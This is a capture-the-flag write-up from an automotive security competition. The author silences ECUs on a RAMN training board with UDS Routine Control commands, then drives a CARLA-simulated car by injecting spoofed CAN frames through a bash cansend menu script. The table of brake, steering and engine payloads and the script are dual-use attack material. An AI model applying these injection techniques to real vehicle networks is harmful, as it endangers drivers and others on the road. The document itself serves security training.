CTF: SPIRITCYBER Automotive CTF @ SICW 2025
Team Result: 🥉 3rd Place
Challenge Name: Time to Drive
Category: Automotive/Hardware
Description:
There is RAMN booth close to you. Come connect to CANH and CANL and drive a lap
around the map to win this flag. The driver will try to stop you. Someone is
driving the car.
Note: You can borrow our peakCAN adapter. On Windows, you need to install
drivers first.
Note: You can use your RAMN board (CAN RX Monitor screen) to identify CAN IDs
and payloads format. The RAMN board will ignore CRCs and counters. You can also
refer to RAMN DBC file (https://github.com/ToyotaInfoTech/RAMN/blob/main/misc/busmaster_ramn.dbc).
This challenge required physically hijacking CAN bus control of a simulated vehicle in CARLA by connecting to the RAMN (Resistant Automotive Miniature Network) board. The key was using UDS (Unified Diagnostic Services) Routine Control commands to stop the autopilot ECUs from transmitting, then sending custom CAN messages to manually drive the vehicle around the map.
Flag: SICW_CAR{drive_by_two_wires}
The challenge involved a physical hardware setup:
- RAMN Board: An automotive security research and training platform
- CARLA Simulator: A simulated vehicle being displayed on screen
- peakCAN Adapter: Hardware interface to connect to the CAN bus
- Physical Connection: Direct connection to CANH and CANL wires
The simulated vehicle was running on autopilot and continuously transmitting CAN messages through the RAMN board's ECUs.
First, I connected the peakCAN adapter to my PC and configured the CAN interface on my Kali VM:
# Check if can0 interface is available
ip a
# Configure CAN interface with 500k bitrate
sudo ip link set can0 up type can bitrate 500000 && sudo ip link set can0 upThe bitrate of 500000 (500 kbps) is a common standard for automotive CAN bus networks.
To verify the connection was working:
candump can0This showed a continuous stream of CAN messages being transmitted by the autopilot system. The traffic was real-time data from the vehicle's various control systems.
The RAMN board has multiple ECUs (Electronic Control Units):
ECU B controls:
- Steering wheel (rotating potentiometer)
- Parking brake (two-position switch)
- Lighting controls (four-position switch)
ECU C controls:
- Accelerator pedal (sliding potentiometer)
- Brake pedal (sliding potentiometer)
- Gear stick (joystick: up/down for gears, left/right for turn indicators, press for horn)
Each ECU has specific CAN IDs for receiving commands and transmitting responses:
- ECU B: Receives on
0x7e1, transmits on0x7e9 - ECU C: Receives on
0x7e2, transmits on0x7ea
I used the RAMN CAN RX Monitor screen to observe incoming CAN messages and identify the payloads for different vehicle controls. By manipulating the physical controls on the RAMN board, I could see which CAN IDs and data payloads corresponded to each action.
Here are the CAN message payloads I discovered:
| Control | CAN ID | Payload |
|---|---|---|
| Start Engine (START) | 1B8 |
0600000000000000 |
| Engine ON | 1B8 |
0400000000000000 |
| Engine OFF | 1B8 |
0000000000000000 |
| Shift to Drive (D) | 077 |
0100000000000000 |
| Shift to Reverse (R) | 077 |
FF00000000000000 |
| Shift to Park (P) | 077 |
0000000000000000 |
| Accelerator 25% | 039 |
0423000000000000 |
| Accelerator 50% | 039 |
07EF000000000000 |
| Brake 0% | 024 |
0000000000000000 |
| Brake 100% | 024 |
0F10000000000000 |
| Steering Center | 062 |
0808000000000000 |
| Steering Left | 062 |
0304000000000000 |
| Steering Right | 062 |
0C0B000000000000 |
The Problem: When I tried sending these commands using cansend, the vehicle didn't respond. The autopilot system was continuously sending its own CAN messages at regular intervals, which overwrote my injected commands before they could take effect.
This is a classic message collision problem in CAN bus attacks.
The solution required using UDS (Unified Diagnostic Services), specifically the Routine Control service (0x31). This service allows executing custom routines on ECUs.
UDS Routine Control has three sub-functions:
0x01- Start a routine0x02- Stop a routine0x03- Request routine results
Routine identifiers range from 0x0200 to 0xDFFF are ECU-specific. Through experimentation (or documentation), I learned that routine ID 0x0200 could stop the ECUs from transmitting their periodic CAN messages.
I used the isotpsend tool to send UDS commands over ISO-TP (ISO 15765-2), which is the transport protocol for diagnostic services over CAN:
# Stop ECU B from transmitting (steering controls)
echo "31 01 02 00" | isotpsend -s 7e1 -d 7e9 -l can0
# Stop ECU C from transmitting (pedal and gear controls)
echo "31 01 02 00" | isotpsend -s 7e2 -d 7ea -l can0Breaking down the command:
31- UDS Service ID for Routine Control01- Sub-function: Start routine02 00- Routine ID: 0x0200 (stop periodic transmission)-s 7e1- Source CAN ID (tester)-d 7e9- Destination CAN ID (ECU response)-l can0- CAN interface
After sending these commands, the periodic CAN traffic from ECU B and ECU C stopped, giving me complete control!
With the autopilot disabled, I could now inject my own CAN messages. I created a bash script to provide manual control via a menu interface:
#!/bin/bash
INTERFACE="can0"
clear
echo "================================"
echo " RAMN Manual Control Menu"
echo "================================"
echo "Interface: $INTERFACE"
echo ""
# --- MENU LOOP ---
while true; do
echo "Select an action:"
echo " 1) Start Engine"
echo " 2) Engine ON"
echo " 3) Engine OFF"
echo " 4) Shift: Drive (D)"
echo " 5) Shift: Reverse (R)"
echo " 6) Shift: Park (P)"
echo " 7) Accelerator 25%"
echo " 8) Accelerator 50%"
echo " 9) Brake 0%"
echo "10) Brake 100%"
echo "11) Steering Center"
echo "12) Steering Left"
echo "13) Steering Right"
echo " 0) Exit"
echo "--------------------------------"
read -p "Enter choice: " choice
echo ""
case $choice in
1)
echo "# Start Engine (START position)"
cansend $INTERFACE 1B8#0600000000000000
;;
2)
echo "# Engine ON"
cansend $INTERFACE 1B8#0400000000000000
;;
3)
echo "# Engine OFF"
cansend $INTERFACE 1B8#0000000000000000
;;
4)
echo "# Shift to Drive (D)"
cansend $INTERFACE 077#0100000000000000
;;
5)
echo "# Shift to Reverse"
cansend $INTERFACE 077#FF00000000000000
;;
6)
echo "# Shift to Park (P)"
cansend $INTERFACE 077#0000000000000000
;;
7)
echo "# Accelerator 25%"
cansend $INTERFACE 039#0423000000000000
;;
8)
echo "# Accelerator 50%"
cansend $INTERFACE 039#07EF000000000000
;;
9)
echo "# Brake 0%"
cansend $INTERFACE 024#0000000000000000
;;
10)
echo "# Brake 100%"
cansend $INTERFACE 024#0F10000000000000
;;
11)
echo "# Steering Center"
cansend $INTERFACE 062#0808000000000000
;;
12)
echo "# Steering Left"
cansend $INTERFACE 062#0304000000000000
;;
13)
echo "# Steering Right"
cansend $INTERFACE 062#0C0B000000000000
;;
0)
echo "Exiting..."
break
;;
*)
echo "Invalid selection. Try again."
;;
esac
echo ""
doneUsing the control script, I manually drove the vehicle through the following sequence:
- Start Engine (option 1)
- Engine ON (option 2)
- Shift to Drive (option 4)
- Accelerator 50% (option 8) to get moving
- Steering Left/Right (options 12/13) to navigate corners
- Brake as needed (options 9-10) to slow down
- Steering Center (option 11) to straighten out
By coordinating these commands via keyboard input, I successfully completed a full lap around the map!
-
Physical Hardware Component: Unlike most CTF challenges, this required interacting with actual automotive hardware, making it more realistic and engaging.
-
Multi-Layer Problem: The solution required understanding:
- CAN bus protocols
- UDS diagnostic services
- ISO-TP transport layer
- ECU architecture
- Timing and message priority
-
Real-World Automotive Security: This challenge demonstrated actual vulnerabilities that exist in modern vehicles, where diagnostic services can be abused to hijack control systems.
- CAN Bus Sniffing: Passive observation of network traffic
- Payload Reverse Engineering: Determining message formats through observation
- Message Injection: Injecting crafted CAN frames
- ECU Manipulation: Using diagnostic services to alter ECU behavior
- Man-in-the-Middle: Taking control between legitimate systems
- Kali Linux: Operating system
- peakCAN adapter: Hardware CAN interface
- can-utils: Linux CAN utilities (
ip,cansend,candump,isotpsend,isotpdump) - RAMN Board: Target hardware platform
- CARLA Simulator: Vehicle simulation environment
After successfully completing the lap:
SICW_CAR{drive_by_two_wires}
A fitting flag name that references the two wires (CANH and CANL) used in the CAN bus differential signaling system!
This was an excellent hands-on automotive security challenge that combined hardware hacking, protocol analysis, and reverse engineering. It was fascinating to see how this mirrored real-world behavior, disrupting normal ECU communication and forcing dependent modules into fail-safe or spoof-accepting states. The requirement to physically interact with the RAMN board made it particularly memorable and educational.
Congratulations to SPIRITCYBER for creating such an engaging challenge, and huge thanks to our team for the collaborative effort that earned us 3rd place! 🥉
Author: Reuel Magistrado - VicOne PH Team
Date: SICW 2025